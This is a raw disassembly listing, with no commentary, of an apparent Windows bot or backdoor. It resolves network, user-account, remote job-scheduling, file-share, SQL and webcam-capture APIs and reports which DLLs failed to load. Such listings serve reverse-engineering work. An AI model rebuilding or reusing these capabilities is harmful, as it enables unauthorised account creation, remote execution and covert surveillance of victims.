		jz	short loc_40ED54
		cmp	dword_4916C0, ebx
		jz	short loc_40ED54
		cmp	dword_491674, ebx
		jz	short loc_40ED54
		cmp	dword_491634, ebx
		jz	short loc_40ED54
		cmp	dword_491688, ebx
		jz	short loc_40ED54
		cmp	dword_491644, ebx
		jz	short loc_40ED54
		cmp	dword_491684, ebx
		jz	short loc_40ED54
		cmp	dword_4916F0, ebx
		jz	short loc_40ED54
		cmp	dword_49163C, ebx
		jz	short loc_40ED54
		cmp	dword_491600, ebx
		jz	short loc_40ED54
		cmp	dword_491670, ebx
		jz	short loc_40ED54
		cmp	dword_4916E0, ebx
		jz	short loc_40ED54
		cmp	dword_491614, ebx
		jz	short loc_40ED54
		cmp	eax, ebx
		jnz	short loc_40ED5E
		jmp	short loc_40ED54
; ---------------------------------------------------------------------------


loc_40ED49:				; CODE XREF: sub_40E59D+501j
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491740, eax


loc_40ED54:				; CODE XREF: sub_40E59D+6A0j
					; sub_40E59D+6ACj ...
		mov	dword_49173C, 1


loc_40ED5E:				; CODE XREF: sub_40E59D+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40EE63
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4915A0, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_49152C, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_491624, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4915D8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_491630, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4915F4, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_49156C, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_491564, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_491574, eax
		call	esi	; GetProcAddress
		cmp	dword_4915A0, ebx
		mov	ecx, dword_4915F4
		mov	dword_491690, eax
		jz	short loc_40EE3F
		cmp	dword_49152C, ebx
		jz	short loc_40EE3F
		cmp	dword_491624, ebx
		jz	short loc_40EE3F
		cmp	dword_4915D8, ebx
		jz	short loc_40EE3F
		cmp	dword_491630, ebx
		jz	short loc_40EE3F
		cmp	ecx, ebx
		jz	short loc_40EE3F
		cmp	dword_49156C, ebx
		jz	short loc_40EE3F
		cmp	dword_491564, ebx
		jz	short loc_40EE3F
		cmp	dword_491574, ebx
		jz	short loc_40EE3F
		cmp	eax, ebx
		jnz	short loc_40EE49


loc_40EE3F:				; CODE XREF: sub_40E59D+860j
					; sub_40E59D+868j ...
		mov	dword_491744, 1


loc_40EE49:				; CODE XREF: sub_40E59D+8A0j
		cmp	ecx, ebx
		jz	short loc_40EE7E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_49160C, eax
		jnz	short loc_40EE7E
		jmp	short loc_40EE78
; ---------------------------------------------------------------------------


loc_40EE63:				; CODE XREF: sub_40E59D+7CCj
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491748, eax
		mov	dword_491744, 1


loc_40EE78:				; CODE XREF: sub_40E59D+8C4j
		mov	dword_49160C, ebx


loc_40EE7E:				; CODE XREF: sub_40E59D+8AEj
					; sub_40E59D+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40EEC8
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4915E8, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_491714, eax
		call	esi	; GetProcAddress
		cmp	dword_4915E8, ebx
		mov	dword_491580, eax
		jz	short loc_40EED3
		cmp	dword_491714, ebx
		jz	short loc_40EED3
		cmp	eax, ebx
		jnz	short loc_40EEDD
		jmp	short loc_40EED3
; ---------------------------------------------------------------------------


loc_40EEC8:				; CODE XREF: sub_40E59D+8ECj
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491750, eax


loc_40EED3:				; CODE XREF: sub_40E59D+91Bj
					; sub_40E59D+923j ...
		mov	dword_49174C, 1


loc_40EEDD:				; CODE XREF: sub_40E59D+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40EFD3
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_49155C, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_491534, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4915A8, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4915DC, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4916EC, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_491594, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_491540, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_491530, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4915C4, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4916B4, eax
		call	esi	; GetProcAddress
		cmp	dword_49155C, ebx
		mov	dword_49166C, eax
		jz	short loc_40EFDE
		cmp	dword_491534, ebx
		jz	short loc_40EFDE
		cmp	dword_4915A8, ebx
		jz	short loc_40EFDE
		cmp	dword_4915DC, ebx
		jz	short loc_40EFDE
		cmp	dword_4916EC, ebx
		jz	short loc_40EFDE
		cmp	dword_491594, ebx
		jz	short loc_40EFDE
		cmp	dword_491540, ebx
		jz	short loc_40EFDE
		cmp	dword_491530, ebx
		jz	short loc_40EFDE
		cmp	dword_4915C4, ebx
		jz	short loc_40EFDE
		cmp	dword_4916B4, ebx
		jz	short loc_40EFDE
		cmp	eax, ebx
		jnz	short loc_40EFE8
		jmp	short loc_40EFDE
; ---------------------------------------------------------------------------


loc_40EFD3:				; CODE XREF: sub_40E59D+94Bj
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491758, eax


loc_40EFDE:				; CODE XREF: sub_40E59D+9E6j
					; sub_40E59D+9EEj ...
		mov	dword_491754, 1


loc_40EFE8:				; CODE XREF: sub_40E59D+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40F01D
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_491584, eax
		call	esi	; GetProcAddress
		cmp	dword_491584, ebx
		mov	dword_491654, eax
		jz	short loc_40F028
		cmp	eax, ebx
		jnz	short loc_40F032
		jmp	short loc_40F028
; ---------------------------------------------------------------------------


loc_40F01D:				; CODE XREF: sub_40E59D+A56j
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491760, eax


loc_40F028:				; CODE XREF: sub_40E59D+A78j
					; sub_40E59D+A7Ej
		mov	dword_49175C, 1


loc_40F032:				; CODE XREF: sub_40E59D+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40F067
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4916D8, eax
		call	esi	; GetProcAddress
		cmp	dword_4916D8, ebx
		mov	dword_4916D4, eax
		jz	short loc_40F072
		cmp	eax, ebx
		jnz	short loc_40F07C
		jmp	short loc_40F072
; ---------------------------------------------------------------------------


loc_40F067:				; CODE XREF: sub_40E59D+AA0j
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491768, eax


loc_40F072:				; CODE XREF: sub_40E59D+AC2j
					; sub_40E59D+AC8j
		mov	dword_491764, 1


loc_40F07C:				; CODE XREF: sub_40E59D+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40F0DB
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_491704, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4916FC, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4916C4, eax
		call	esi	; GetProcAddress
		cmp	dword_491704, ebx
		mov	dword_49159C, eax
		jz	short loc_40F0E6
		cmp	dword_4916FC, ebx
		jz	short loc_40F0E6
		cmp	dword_4916C4, ebx
		jz	short loc_40F0E6
		cmp	eax, ebx
		jnz	short loc_40F0F0
		jmp	short loc_40F0E6
; ---------------------------------------------------------------------------


loc_40F0DB:				; CODE XREF: sub_40E59D+AEAj
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491770, eax


loc_40F0E6:				; CODE XREF: sub_40E59D+B26j
					; sub_40E59D+B2Ej ...
		mov	dword_49176C, 1


loc_40F0F0:				; CODE XREF: sub_40E59D+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40F125
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4915D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4915D0, ebx
		mov	dword_4916D0, eax
		jz	short loc_40F130
		cmp	eax, ebx
		jnz	short loc_40F13A
		jmp	short loc_40F130
; ---------------------------------------------------------------------------


loc_40F125:				; CODE XREF: sub_40E59D+B5Ej
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491778, eax


loc_40F130:				; CODE XREF: sub_40E59D+B80j
					; sub_40E59D+B86j
		mov	dword_491774, 1


loc_40F13A:				; CODE XREF: sub_40E59D+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40F1C3
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_491698, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4916E4, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_491620, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4915E0, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_491678, eax
		call	esi	; GetProcAddress
		cmp	dword_491698, ebx
		mov	dword_4915EC, eax
		jz	short loc_40F1CE
		cmp	dword_4916E4, ebx
		jz	short loc_40F1CE
		cmp	dword_491620, ebx
		jz	short loc_40F1CE
		cmp	dword_4915E0, ebx
		jz	short loc_40F1CE
		cmp	dword_491678, ebx
		jz	short loc_40F1CE
		cmp	eax, ebx
		jnz	short loc_40F1D8
		jmp	short loc_40F1CE
; ---------------------------------------------------------------------------


loc_40F1C3:				; CODE XREF: sub_40E59D+BA8j
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491780, eax


loc_40F1CE:				; CODE XREF: sub_40E59D+BFEj
					; sub_40E59D+C06j ...
		mov	dword_49177C, 1


loc_40F1D8:				; CODE XREF: sub_40E59D+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40F20D
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4915B4, eax
		call	esi	; GetProcAddress
		cmp	dword_4915B4, ebx
		mov	dword_49168C, eax
		jz	short loc_40F218
		cmp	eax, ebx
		jnz	short loc_40F222
		jmp	short loc_40F218
; ---------------------------------------------------------------------------


loc_40F20D:				; CODE XREF: sub_40E59D+C46j
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_491788, eax


loc_40F218:				; CODE XREF: sub_40E59D+C68j
					; sub_40E59D+C6Ej
		mov	dword_491784, 1


loc_40F222:				; CODE XREF: sub_40E59D+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40E59D	endp

; ---------------------------------------------------------------------------
		db 323h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F54D	proc near		; CODE XREF: sub_4010DCj

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_49171C, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40F595
		push	dword_491720
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F595:				; CODE XREF: sub_40F54D+1Aj
		cmp	dword_491724, esi
		jz	short loc_40F5C9
		push	dword_491728
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F5C9:				; CODE XREF: sub_40F54D+4Ej
		cmp	dword_49172C, esi
		jz	short loc_40F5FD
		push	dword_491730
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F5FD:				; CODE XREF: sub_40F54D+82j
		cmp	dword_491734, esi
		jz	short loc_40F631
		push	dword_491738
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F631:				; CODE XREF: sub_40F54D+B6j
		cmp	dword_49173C, esi
		jz	short loc_40F665
		push	dword_491740
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F665:				; CODE XREF: sub_40F54D+EAj
		cmp	dword_491744, esi
		jz	short loc_40F699
		push	dword_491748
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F699:				; CODE XREF: sub_40F54D+11Ej
		cmp	dword_49174C, esi
		jz	short loc_40F6CD
		push	dword_491750
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F6CD:				; CODE XREF: sub_40F54D+152j
		cmp	dword_491754, esi
		jz	short loc_40F701
		push	dword_491758
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F701:				; CODE XREF: sub_40F54D+186j
		cmp	dword_49175C, esi
		jz	short loc_40F735
		push	dword_491760
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F735:				; CODE XREF: sub_40F54D+1BAj
		cmp	dword_491764, esi
		jz	short loc_40F769
		push	dword_491768
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F769:				; CODE XREF: sub_40F54D+1EEj
		cmp	dword_49176C, esi
		jz	short loc_40F79D
		push	dword_491770
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F79D:				; CODE XREF: sub_40F54D+222j
		cmp	dword_491774, esi
		jz	short loc_40F7D1
		push	dword_491778
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F7D1:				; CODE XREF: sub_40F54D+256j
		cmp	dword_49177C, esi
		jz	short loc_40F805
		push	dword_491780
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F805:				; CODE XREF: sub_40F54D+28Aj
		cmp	dword_491784, esi
		jz	short loc_40F839
		push	dword_491788
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h


loc_40F839:				; CODE XREF: sub_40F54D+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_4303AC
		push	eax
		call	sub_416821
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40F866
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_40F866:				; CODE XREF: sub_40F54D+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401014
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F54D	endp

; ---------------------------------------------------------------------------
		db 0CAh	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F942	proc near		; CODE XREF: sub_40113Bj

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40F9CD
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40F9CD
		cmp	[ebp+arg_8], esi
		jz	short loc_40F9CD
		cmp	byte ptr [eax],	0
		jz	short loc_40F9CD
		push	ebx
		push	edi
		call	sub_421042
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40F9C8
		push	[ebp+arg_4]
		push	edi
		call	sub_417760
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F9C1
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416A10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_4158E0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_4168B0
		push	[ebp+arg_4]
		call	sub_4158E0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4175E0
		push	ebx
		push	edi
		call	sub_4175D0
		add	esp, 30h
		mov	esi, edi


loc_40F9C1:				; CODE XREF: sub_40F942+3Cj
		push	ebx
		call	sub_415D6C
		pop	ecx


loc_40F9C8:				; CODE XREF: sub_40F942+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40F9CF
; ---------------------------------------------------------------------------


loc_40F9CD:				; CODE XREF: sub_40F942+Cj
					; sub_40F942+13j ...
		xor	eax, eax


loc_40F9CF:				; CODE XREF: sub_40F942+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40F942	endp

; ---------------------------------------------------------------------------
		db 24h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9F7	proc near		; CODE XREF: sub_4010D7j

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_415CA0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4158E0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40FA2D
		or	eax, 0FFFFFFFFh
		jmp	short loc_40FAA0
; ---------------------------------------------------------------------------


loc_40FA2D:				; CODE XREF: sub_40F9F7+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40FA4F


loc_40FA39:				; CODE XREF: sub_40F9F7+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40FA46
		cmp	dl, 0Dh
		jnz	short loc_40FA4A


loc_40FA46:				; CODE XREF: sub_40F9F7+48j
		and	byte ptr [ecx+esi], 0


loc_40FA4A:				; CODE XREF: sub_40F9F7+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40FA39


loc_40FA4F:				; CODE XREF: sub_40F9F7+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40FA80
		lea	edi, [ebp+var_7CC]


loc_40FA5C:				; CODE XREF: sub_40F9F7+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40FA7B
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40FA7B
		cmp	ebx, 1F4h
		jge	short loc_40FA80
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40FA7B:				; CODE XREF: sub_40F9F7+69j
					; sub_40F9F7+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40FA5C


loc_40FA80:				; CODE XREF: sub_40F9F7+5Dj
					; sub_40F9F7+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40FA9E
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_415960
		add	esp, 0Ch


loc_40FA9E:				; CODE XREF: sub_40F9F7+8Ej
		mov	eax, ebx


loc_40FAA0:				; CODE XREF: sub_40F9F7+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40F9F7	endp

; ---------------------------------------------------------------------------
		db 2Bh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FACF	proc near		; CODE XREF: sub_40122Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40FB08
		push	ebx
		mov	ebx, edi


loc_40FAEC:				; CODE XREF: sub_40FACF+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_401131
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40FAEC
		pop	ebx


loc_40FB08:				; CODE XREF: sub_40FACF+18j
		pop	edi
		pop	esi
		retn
sub_40FACF	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FB1A	proc near		; CODE XREF: sub_401131j

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417C24
		cmp	al, 61h
		pop	ecx
		jl	short loc_40FB35
		cmp	al, 7Ah
		jg	short loc_40FB35
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40FB35:				; CODE XREF: sub_40FB1A+Ej
					; sub_40FB1A+12j
		xor	eax, eax
		retn
sub_40FB1A	endp

; ---------------------------------------------------------------------------
		db 7 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB3F	proc near		; CODE XREF: sub_40121Cj

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_416880
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4158E0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_4158E0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40122B
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40FB7D:				; CODE XREF: sub_40FB3F+B6j
		test	esi, esi
		jle	short loc_40FBFB
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417C24
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417C24
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FBF3


loc_40FBA3:				; CODE XREF: sub_40FB3F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_401131
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40FBC4
		mov	eax, ecx


loc_40FBC4:				; CODE XREF: sub_40FB3F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40FBF7
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417C24
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_417C24
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40FBA3


loc_40FBF3:				; CODE XREF: sub_40FB3F+62j
		dec	edi
		dec	esi
		jmp	short loc_40FB7D
; ---------------------------------------------------------------------------


loc_40FBF7:				; CODE XREF: sub_40FB3F+8Aj
		xor	eax, eax
		jmp	short loc_40FC00
; ---------------------------------------------------------------------------


loc_40FBFB:				; CODE XREF: sub_40FB3F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_40FC00:				; CODE XREF: sub_40FB3F+BAj
